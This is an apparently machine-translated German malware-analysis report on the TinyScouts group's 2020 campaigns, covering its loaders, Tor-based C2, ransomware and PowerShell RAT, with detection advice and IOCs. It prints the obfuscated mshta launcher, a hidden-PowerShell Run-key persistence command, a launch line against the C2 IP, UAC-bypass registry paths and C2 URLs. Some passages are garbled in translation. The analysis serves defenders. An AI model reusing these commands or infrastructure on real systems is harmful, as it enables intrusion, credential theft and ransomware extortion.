Zwei Aspekte der Aktivitäten der Gruppe waren bemerkenswert: erstens die hohen technischen Fähigkeiten der Angreifer und zweitens die Variabilität des Angriffsszenarios. Wenn Sie als Opfer nicht interessant sind, stehlen sie Kennwörter und verschlüsseln Daten. Befindet sich Ihr Computer jedoch in einer interessanten Domäne und hat das Potenzial für eine interessantere Angriffsentwicklung, laden sie das in PowerShell geschriebene Remote Admin Tool (RAT) herunter. Wir haben die Gruppierung TinyScouts nach den Namen der Funktionen aus dem Schadcode benannt. In diesem Artikel werden wir Ihnen von ihren letzten beiden Kampagnen erzählen, die bedingt nach Monaten unterteilt werden können - Juli und August 2020 - und wir werden eine vollständige Analyse der TinyScouts-Tools und -Skripte durchführen.
Juli Kampagne. Direkter Download
Im Juli wurde die Malware in Form einer lnk-Datei verteilt, die den folgenden Befehl ausführte:
%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)
Als Ergebnis der Ausführung von mshta.exe wurde das verschleierte JS-Skript ausgeführt. Seine Aufgabe besteht darin, ein Dokument zur Ablenkung aus dem Hauptteil der lnk-Datei zu extrahieren, es über rundll32.exe zu öffnen und den verschleierten PowerShell-Befehl auszuführen. Ein Fragment des Skripts nach der Deobfuscation wird unten gezeigt:
Das Skript in der Variablen toexecute wird geladen und führt ein anderes verschleiertes PowerShell-Skript mit dem Namen Decide aus (Anfrage zur Entscheidung.php). Ein Beispiel für die Verschleierung finden Sie unten:
Die Aufgabe dieses Skripts besteht darin, den Computer auf Übereinstimmung mit einigen Parametern zu überprüfen und die nächste Last von den Servern herunterzuladen. Ein Ausschnitt des deobfuscierten Codes ist unten dargestellt:
Das Vorhandensein von TeamViewer, RDP-Sitzungen und die Tatsache, dass Sie sich bei der Domäne anmelden, werden überprüft, um festzustellen, welche Last heruntergeladen werden muss. Bei einem "interessanten" System wird die RAT geladen, ansonsten der Verschlüsseler. In beiden Fällen handelt es sich um Skripte, die in mehreren Ebenen verschleiert sind.
August-Kampagne (laufend). Tor versteckte Dienste
Anfang August änderte sich das Verteilungsschema: Jetzt enthielten die Briefe einen Link zum Herunterladen des sfx-Archivs, das 4 Dateien enthält:
- document.doc. Ein Dokument, das zur Ablenkung geöffnet wird und keine böswillige Nutzlast enthält.
- 7za.exe. 7z - Archivierer.
- wget.exe. Das ursprüngliche Wget-Dienstprogramm.
- Bedienung. JS-Skript Stager 1
Beim Starten des sfx-Archivs werden folgende Aktionen ausgeführt:
1) document.doc wird geöffnet
2) TOR und node.exe werden mit wget und 7z über die folgenden Links heruntergeladen und entpackt:
www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) Mit node.exe wird das Skript Stager 1 gestartet:
C: \ Windows \ System32 \ cmd.exe "/ c if nicht vorhanden Hostname (Knotendienst 192.248 [.] 165.254)
Nachfolgend finden Sie das deobfuscated Stager 1-Skript:
Das Service-Skript empfängt die Adresse des Steuerungsservers als Argument und erstellt beim Start den TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). Es ist anzumerken, dass beim Starten des versteckten TOR-Dienstes sein Name generiert wird (er ähnelt dem Namen einer regulären Ressource im TOR-Netzwerk, z. B. vkss134jshs22yl3li2ul.onion). Als Nächstes sendet das Skript den generierten Hidden Service-Namen an den Angreifer und ruft den lokalen Webserver auf. Anschließend kommuniziert der Angreifer mit dem infizierten System im Anforderungs- / Antwortmodus mit dem Webserver (Zeile 19 im Code), wo die Anforderungen den Code zur Ausführung enthalten und die Antworten die Ergebnisse enthalten.
Diese Architektur ermöglicht es einem Angreifer, auf ein infiziertes System zuzugreifen, selbst wenn es sich hinter NAT befindet (die Hauptbedingung ist das Vorhandensein des Internets), und macht es unnötig, die "weiße" IP-Adresse des Opfers zu kennen.
Die erste Anforderung an den erhöhten Webserver erfolgt über das Decider-Skript, dessen Aufgabe es ist, die Tatsache zu ermitteln, dass der Computer der Domäne beitritt, und den Benutzernamen abzurufen. Diesmal gibt es keine Überprüfungen für TeamViewer und RDP:
Nachdem die Ergebnisse des Decider-Skripts an den Angreifer gesendet wurden, kommt je nach Interesse des Angreifers eine Webanforderung bei dem infizierten System an, das entweder die Ransomware oder die RAT enthält.
Gemeinsame Module in beiden Kampagnen
Stager 3-Skript
Das Hauptskript enthält 5 in base64 codierte Komponenten:
- Ransomware verschlüsseln
- Readme
- WebBrowserPassView
- Mail PassView
- Injector. , WebBrowserPassView Mail PassView svchost. RunPE.
Funktionen des Stager 3-Skripts :
1) Starten der Ransomware (Get-Stuff-Funktion)
Nachfolgend finden Sie ein Fragment des Skriptcodes beim Starten der Ransomware:
2)
Umgehen der Benutzerkontensteuerung (zum Entfernen von Schattenkopien) Der Code enthält drei Techniken: Verwenden von csmtp.exe, CompMgmtLauncher.exe und fodhelper.exe. Sie können hier , hier und hier darüber lesen .
3) Entfernen von Schattenkopien
4) Starten
von WebBrowserPassView und Mail PassView Dies sind Dienstprogramme von Nirsoft zum Extrahieren von Kennwörtern aus Browsern bzw. E-Mail-Clients.
5) Senden von Berichten über die oben genannten Dienstprogramme an den Verwaltungsserver.
Vor dem Senden werden Berichte mit dem RC4-Algorithmus mit einem generierten Schlüssel (4 Zeichen) verschlüsselt:
Der Schlüssel selbst steht am Anfang der Nachricht:
Ransomware verschlüsseln
Die Readme-Nachricht sieht folgendermaßen aus:
Der Verschlüsseler ist eine ausführbare .NET-Datei ohne Verschleierung. Dateien werden mit dem AES-Algorithmus verschlüsselt. Für jede Datei wird ein separater Schlüssel und Initialisierungsvektor generiert, der dann mit dem öffentlichen RSA-Schlüssel verschlüsselt und in der verschlüsselten Datei abgelegt wird. Die Hauptfunktion der Ransomware ist unten dargestellt:
RATTE
Dieses Skript hat mehrere Verschleierungsebenen. Nach der Entschlüsselung können die folgenden Befehle ausgeführt werden:
- löschen - Selbstlöschung
- exec - Führt einen PowerShell-Befehl aus
- download - lade die Datei herunter
- set_wait_time - Ändert die Häufigkeit von Befehlsanforderungen
- update_tiny - RAT aktualisieren
- run_module - Führen Sie einen PowerShell-Befehlsblock aus
- add_persist_module - Fügen Sie dem System ein PowerShell-Modul hinzu, das bei jedem Start der RAT ausgeführt wird.
- remote_persist_module - Entfernen Sie ein Modul aus der RAT-Startliste.
Die deobfuscated Befehlsverarbeitungsfunktion ist unten gezeigt:
Befestigungsmethode
Zum
Fixieren werden zwei Schlüssel verwendet: 1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. Der folgende Befehl wird in diese Taste eingefügt (die Zeile ist deobfuscated):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»
2) HKCU \ SOFTWARE \ Microsoft \ Windows. Hier wird das Skript in einem Wert namens client_id gespeichert. Wenn das System gestartet wird, liest der Befehl von der Run-Taste das Skript und führt es von hier aus aus.
client_id - eine Zeichenfolge im AppX + base64-Format (Hostname + Benutzername + Kampagnen-ID)
Die Pinning-Funktion sieht folgendermaßen aus:
Entschlüsseltes Skript, das in Ausführen abgelegt wird:
Es ist zu beachten, dass der Malware-Code weder auf der Festplatte noch in der Registrierung gespeichert wird: Er wird jedes Mal neu geladen mit dem obigen Skript.
Befehl Add_persist_module
RAT kann PowerShell-Module hinzufügen, die bei jedem Start ausgeführt werden. Hierzu wird ein separater Registrierungsschlüssel verwendet, in dem Modulkennungen gespeichert sind. Während des Startvorgangs wird dieser Schlüssel überprüft, und die Malware sendet eine Anforderung an den Server und lädt alle Module anhand ihrer Kennungen herunter.
Wenn die Malware gestartet wird, wird die Funktion Load-AllPersistModules gestartet, um alle hinzugefügten Module zu starten: Der Modulcode wird
weder auf Datenträgern noch in der Registrierung gespeichert, wie der Hauptteil der RAT.
Serverinteraktionen
Der Code enthält die CampaignID-Konstante, die beim Registrieren der RAT beim Start (register-tiny-Funktion) als Verschlüsselungsschlüssel verwendet wird. Der Verschlüsselungsalgorithmus ist RC4. Nach dem Senden der primären Informationen über das System enthält die Serverantwort den Verschlüsselungsschlüssel, der in Zukunft mit demselben Algorithmus verwendet wird.
Technische Aspekte der Ermittlung von Kampagnendaten
Bei der Beantwortung der Frage, wie dies oder jenes erkannt werden kann, versuchen wir, alle Regeln in zwei große Gruppen zu unterteilen:
- Erkennung systemweiter Anomalien,
- Anomalieerkennung für ein bestimmtes Unternehmen / eine bestimmte Familie / ein bestimmtes Instrument.
Systemweite Erkennung von Anomalien
Interaktion mit Zwischenservern und n:
In der Juli-Kampagne reicht es zum Erkennen und Blockieren dieser Aktivität aus, IP-Adressen und Domänennamen zu den Sperrlisten hinzuzufügen, ohne zu vergessen, Versuche zu überwachen, auf diese zuzugreifen.
Im August wurde es für Unternehmen mit dem Aspekt der Netzwerkerkennung schwieriger, und hier lohnt es sich, Folgendes zu beachten:
- Wir können weiterhin einige der IP-Adressen und Domänennamen für die Überwachung blockieren und entfernen.
- Das Vorhandensein von Netzwerkaktivitäten durch TOR zwingt uns, die Listen der IP-Adressen, die am Aufbau dieses Netzwerks beteiligt sind, zu speichern und dynamisch zu aktualisieren. Und hier kann für uns die Erkennungsregel ein Aufruf an eine IP-Adresse aus dem TOR-Netzwerk sein.
- , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .
Für beide Kampagnen funktioniert eine Reihe von IDS-Regeln, die darauf abzielen, verwendete bestimmte PowerShell-Methoden oder deren Base64-konvertierte Form zu erkennen, recht gut.
Ausführen von Code auf dem
Zielsystem Es gibt zwei Ereignisquellen: Windows Audit und Sysmon.
PowerShell-Skriptblockprotokollierung
Das Protokoll, das die Datensätze der ausgeführten PowerShell-Skripts enthält. Befindet sich im folgenden Pfad: Anwendungs- und Dienstprotokolle> Microsoft> Windows> Powershell> Operational.
Erkennungsregeln, die darauf abzielen, bestimmte verwendete PowerShell-Methoden zu erkennen, können die Aktivität dieser Kampagnen gut erkennen.
Start des Sicherheitsprotokoll- (oder Sysmon-)
Prozesses - 4648 (1)
Um diese Aktivität zu erkennen, sind klassische Regeln zur Erkennung von Anomalien in Bezug auf Vater -> Kind-Prozesse erforderlich. Diese Bundles werden während des Startvorgangs auf dem Host gut verfolgt: md-> mshta, cmd-> Powershell, mshta-> Powershell, rar-> rundll32, node-> wmic. Eine
Regel zum Verfolgen verdächtiger Parameter von Startprozessen kann ebenfalls hilfreich sein: Powershell -e “base64 »
Netzwerkverbindung verarbeiten - 5156 (3)
Die Regel zum Erkennen der Netzwerkverbindung vom PowerShell-Prozess zu weißen IP-Adressen sollte zur Erkennung dieser Aktivität beitragen.
Während der August-Kampagne helfen auch die Regeln zum Erkennen des internen Proxy-Datenverkehrs für 127.0.0.1 erheblich (dies tun TOR und der lokale Webserver).
Registereintrag - 4657 (13)
In PowerShell geschriebene RAT behält ihre Präsenz über den allgemeinen Registrierungszweig HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run bei. Dies bedeutet, dass die Regel für die Überwachung von Datensätzen entlang dieses Pfads unsere Option ist.
Erkennung von Versuchen, die UAC-Technologie zu umgehen: Änderungen in den folgenden Registrierungszweigen -
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration
Anomalieerkennung für ein bestimmtes Unternehmen / eine bestimmte Familie / ein bestimmtes Instrument
Ausführen des Codes auf dem Zielsystem Starten von
Prozessen - 4648 (1)
Hier benötigen Sie eine Regel, um verdächtige Parameter beim Starten von Prozessen zu verfolgen: C: \ Windows \ System32 \ cmd.exe "/ c, falls nicht vorhanden Hostname (Knotendienst)
Schreiben in die Registrierung - 4657 (13 )
Die in PowerShell geschriebene RAT bleibt auch über die Zweigregistrierung HKCU \ SOFTWARE \ Microsoft \ Windows präsent. Daher müssen wir zur Erkennung die Datensatzwerte «client_id» auf diesem Pfad verfolgen.
Kompromisse bei den Indikatoren:
a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170
Autoren des Beitrags:
Igor Zalevsky, Leiter der Abteilung für die Untersuchung von Cyber-Vorfällen des JSOC CERT
Asker Jamirze, Experte für technische Untersuchungen der JSOC CERT-Abteilung